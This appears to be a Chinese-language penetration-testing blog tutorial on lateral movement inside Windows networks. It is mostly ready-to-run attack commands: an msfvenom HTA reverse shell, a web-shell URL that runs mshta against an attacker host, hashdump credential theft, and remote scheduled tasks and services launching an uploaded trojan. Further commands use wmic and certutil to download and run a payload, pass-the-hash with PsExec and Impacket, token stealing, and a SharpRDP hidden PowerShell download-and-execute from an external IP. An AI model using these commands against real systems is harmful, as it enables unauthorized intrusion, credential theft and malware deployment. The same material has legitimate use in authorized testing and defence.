内网横向移动
内网横向移动
hihopkc横向移动简介
当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击内网其他主机,扩大攻击影响范围。
横向移动有三个主要阶段:
- 侦察(主机信息收集、内网网络结构信息收集)
- 凭据/特权收集(主机密码凭证)
- 对网络中其他计算机的访问权限
获得权限
MSF生成HTA反弹shell
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=4002 -f hta-psh -o 4002.hta |
通过WEB漏洞反弹shell
1 | http://1xx.xx.xx.95:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=cmd /c mshta http://192.168.58.133:8000/6666.hta |
得到MSF会话,获取账号密码及Hash
1 | hashdump |
1 | getsystem |
1 | web\administrator 1qaz@WSX |
- 登录验证
1 | crackmapexec smb 192.168.247.144 -u 'administrator' -p '1qaz@wsx' --shares |
- 内网主机存活探测
1 | nbtscan.exe -m 10.10.10.0/24 |
横向移动-内置工具篇
IPC$
IPC$简介
IPC$
(Internet Process Connection ) 是共享 “命名管道” 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
利用IPC$
,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用户列表等信息。
使用条件
- 开放了
139
、445
端口;
IPC$ 连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示 netbios 协议的应用。
我们可以通过139和445端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$连接是需要139或445端口来支持的。
IPC$ 连接默认会走445端口,不通的话则会走139端口,这两个端口都可以单独实现文件共享
- 目标开启
IPC$
文件共享服务及默认共享
默认共享是为了方便管理员远程管理而默认开启的共享。
所有逻辑磁盘(c$、d$、e$…)和系统目录 WINNT
或WINDOWS
(ADMIN$),通过IPC连接可以实现对这些默认共享的访问
- 需要目标机器的管理员账号和密码
默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对admin$ 目录建立 IPC连接
本地的 Administrator
用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator
用户远程连接
常用命令
1 | 1. 连接 |
1 | 4. 删除连接 |
1 | 5.文件上传下载 |
1 | 6. 查看目标主机文件 |
IPC$连接失败常见错误号
错误号 5,拒绝访问 【很可能你使用的用户不是管理员权限,先提升权限】
错误号 51,Windows 无法找到网络路径 【网络有问题】
错误号 53,找不到网络路径 【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】
错误号 67,找不到网络名 【你的 lanmanworkstation 服务未启动;目标删除了 ipc$;】
错误号 1219,提供的凭据与已存在的凭据集冲突 【你已经和对方建立了一个ipc$,请删除后再连】
错误号 1326,未知的用户名或错误密码 【用户名或密码错误】
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
错误号 1792,试图登录,但是网络登录服务没有启动 【目标NetLogon服务未启动[连接域控会出现此情况]】
错误号 2242,此用户的密码已经过期 【目标有帐号策略,强制定期要求更改密码】
IPC+AT+Schtasks
AT简介
AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
利用
1 | net use \\10.10.10.30\c$ /user:administrator "1qaz@wsx" |
注意:
问题:执行at命令时,显示绑定句柄无效。
解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts
AT命令在windows server 2012等新版系统中已被弃用
AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务
Schtasks简介
由于AT在windows server 2012等新版系统中已被弃用,所以需要使用 schtasks 命令代替。
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务
1 | /Create 创建新计划任务。 |
更多请参考:https://blog.csdn.net/qq_39680564/article/details/88993633
横向移动
- 命令格式
1 | #创建任务 |
1 | schtasks /create 创建新的计划任务。 |
- 建立IPC连接
1 | net use \\10.10.10.30 /user:administrator "1qaz@wsx" |
- 上传木马
1 | dir \\10.10.10.30\c$ |
- 远程主机创建定时任务
1 | schtasks /create /s 10.10.10.30 /u de1ay\administrator /p "1qaz@wsx" /sc MINUTE /mo 1/tn test2 /tr "c:\59.exe" |
- 查看远程主机创建的定时任务
1 | chcp 65001 |
不更改代码页编码,直接查看可能会显示如下错误:
- Schtasks运行远程主机上的计划任务
1 | schtasks /run /s 10.10.10.30 /u de1ay\administrator /p "1qaz@wsx" /tn test2 |
- Schtasks删除远程主机上的计划任务
1 | schtasks /delete /tn At1 /s 10.10.10.30 /u administrator /p 1qaz@WSX3e |
IPC+SC
SC简介
sc 命令可以注册、删除和查询系统服务
SC远程注册服务
1 | #sc远程创建服务 |
1 | sc \\10.10.10.30 qc test |
注意:binpath设置选项’=’后面有一个空格
WMIC
WMIC简介
WMI:(Windows Management Instrumentation Windows 管理规范),是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WMI的语法十分简单,基本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。
在 windows 2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。
通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
而WMIC是为WMI提供的命令行界面。
详细参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic
https://blog.csdn.net/discover2210212455/article/details/82711930
命令使用条件
Windows Management Instrumentation 服务开启,端口TCP 135,默认开启
防火墙允许 135、445 等端口通信
利用方法
- 查询进程信息
1 | wmic /node:10.10.10.30 /user:administrator /password:1qaz@wsx process list brief |
WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
1 | wmic /node:10.10.10.30 /user:administrator /password:1qaz@wsx process call create "cmd.exe /c ipconfig" |
- 利用create创建进程
1 | wmic process call create /? |
1 | wmic /node:10.10.10.30 /user:administrator /password:1qaz@wsx process call create "cmd /c calc.exe" |
如果出现User credentials cannot be used for local connections,应该是调用calc.exe程序权限不够的问题
如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显。
- 下载远程文件并执行
1 | wmic /node:10.10.10.30 /user:administrator /password:1qaz@WSX3e process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.80/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe" |
WinRM
WinRM简介
WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启。
开启WinRM
- 判断本机是否开启WinRM服务
1 | winrm enumerate winrm/config/listener |
1 | netstat -ano | findstr 5985 |
- 判断目标主机是否开启WinRM服务
查看远程主机是否开启WinRM服务:
1 | ServerScan.exe -h 10.10.10.30 -p 5985,5986 |
查看远程WinRM服务是否正常:
1 | test-wsman 10.10.10.30 |
- 命令开启WinRM服务
1 | winrm quickconfig |
1 | winrm enumerate winrm/config/listener |
- 允许远程主机访问及访问远程主机
WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问
1 | winrm set winrm/config/client @{TrustedHosts="*"} |
Winrs执行命令
1 | winrs -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx ipconfig |
1 | winrs -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx "cmd.exe" |
WinRM横向移动
- 利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
1 | winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} |
命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程
- 在远程机器上打开进程
1 | winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx |
- 在远程机器上创建服务
1 | winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\59.exe"} -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx |
- 在远程机器上启动服务
1 | winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx |
横向移动-外部工具篇
Smbexec、Psexec
Psexec简介
PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。
psexec下载地址: https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
impacket下载地址:
py:https://github.com/SecureAuthCorp/impacket
exe:https://github.com/maaaaz/impacket-examples-windows
Psexec原理
ipc$连接,释放Psexesvc.exe
通过服务管理OpenSCManager打开受害者机器上服务控制管理器的句柄
通过CreateService创建服务
获取服务句柄OpenService使用StartService启动服务
Psexec使用前提
对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
对方未开启防火墙
如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
PsExec.exe使用
微软官方工具包
- 直接使用
第一次运行会弹框,输入 –accepteula 这个参数就可以绕过
如果出现找不到网络名,判断目标主机已禁用ADMIN$共享
1 | psexec.exe \\10.10.10.30 -u pc\administrator -p 1qaz@wsx -s cmd.exe -accepteula |
- 建立IPC连接,无需输入密码
1 | net use \\IP /u:域名称\域账号 密码 |
- 重要参数
1 | -c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除) |
- Cobaltstrike
1 | beacon> shell psexec.exe \\10.10.10.30 -u de1ay\Administrator -p 1qaz@WSX3e whoami |
psexec 传递命令时不要添加双引号否则会爆 “系统找不到指定的文件” 的错误。
Psexec.py
impacket套件中的Psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性
- 交互式命令行
1 | C:\>psexec.py pc/administrator:1qaz@wsx@10.10.10.30 |
直接执行命令
1 | C:\>psexec.exe pc/administrator:1qaz@wsx@10.10.10.30 whoami |
- Cobaltstrike
1 | shell c:\psexec.exe administrator:1qaz@WSX@10.10.10.30 whoami |
1 | shell c:\psexec.exe administrator:1qaz@WSX@10.10.10.30 mshta http://192.168.78.104:80/download/file.ext |
Smbexec.py
impacket套件
smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。
445端口
1 | C:\>smbexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.30 |
Wmiexec
Wmiexec.vbs
基本原理:当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹。最后,通过FSO组件访问远程共享文件夹(需要用到445端口)中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
- 1.单命令执行
1 | cscript.exe wmiexec.vbs /cmd ip username password "command" |
- 2.半交互模式
1 | shell cscript.exe //nologo c:\wmiexec.vbs /shell ip username password |
- 3.注意
wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = “wmi1.dll”,也可以加入-persist参数(后台运行)
非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXECERROR: Access is denied
WMI-HACKER
介绍:免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。此工具通过135端口进行命令执行,读取执行结果以及进行文件传输时无需445端口,通过把执行结果写入注册表中,然后进行读取。
主要功能:1、命令执行;2、文件上传;3、文件下载
使用:
1 | cscript //nologo WMIHACKER_0.6.vbs |
1 | 有命令回显执行方式 |
wmicmd.exe
wmicmd命令回显(工作组)
1 | WMIcmd.exe -h 10.10.10.30 -u administrator -p 1qaz@WSX -d . -c "ipconfig" |
Wmiexec.py
Impacket套件
原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的shell
1 | python wmiexec.py -share admin$ administrator:1qaz@WSX@10.10.10.30 |
pth-winexe
Kali自带pth工具集
- 工作组
1 | pth-winexe -U administrator%1qaz@WSX3e --system --ostype=1 //10.10.10.30 command |
- 域
1 | pth-winexe -U de1ay/administrator%Aatest --system --ostype=1 //192.168.3.90 command |
Metasploit
Psexec
- 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command
1 | msf5 > use auxiliary/admin/smb/psexec_command |
- 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec
1 | msf5 > use exploit/windows/smb/psexec |
exploit/windows/smb/psexec_psh
1 | msf5 > use exploit/windows/smb/psexec_psh |
auxiliary/admin/smb/ms17_010_command
Token窃取
- Token简介
Windows有两种类型的Token:
Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
两种token只在系统重启后清除
具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效
- Metasploit
在Metasploit中,可使用incognito实现token窃取,Metasploit中的incognito,是从windows平台下的incognito移植过来的
1 | # 加载incognito模块 |
Cobaltstrike
凭证获取
1 | hashdump |
扫描存活主机
PortScan扫描存活主机
Psexec
Psexec_psh
Psexec_psh hash传递
Token窃取
steal token
de1ay\administrator登录状态
de1ay\administrator注销状态
SharpRDP
一个.NET控制台应用程序工具,可用于对横向目标执行针对远程目标的经过身份验证的命令执行。
用于经过身份验证的命令执行的远程桌面协议控制台应用程序
原理详解
再谈远程桌面横向移动
项目地址:0xthirteen/SharpRDP
使用方法
1 | # Regular RDP connection and execution |
注:command
为在目标机器上执行的命令
如果在目标上启用了受限管理模式,则不要指定任何凭据,它将使用当前用户上下文。
可以在beacon
上PTH和make_token
,windows系统上 runas /netonly
使用效果
1 | SharpRDP.exe computername=172.26.2.43 command="powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://139.155.49.43:880/a'))\"" username=MINGY\WIN7-1 password=iam8@Mingyue123 |
Impacket套件
impacket套件是通过445端口进行通信的,不是135端口。
- Windows
https://github.com/maaaaz/impacket-examples-windows
1 | # 域用户 |
- Linux
1 | # 工作组 |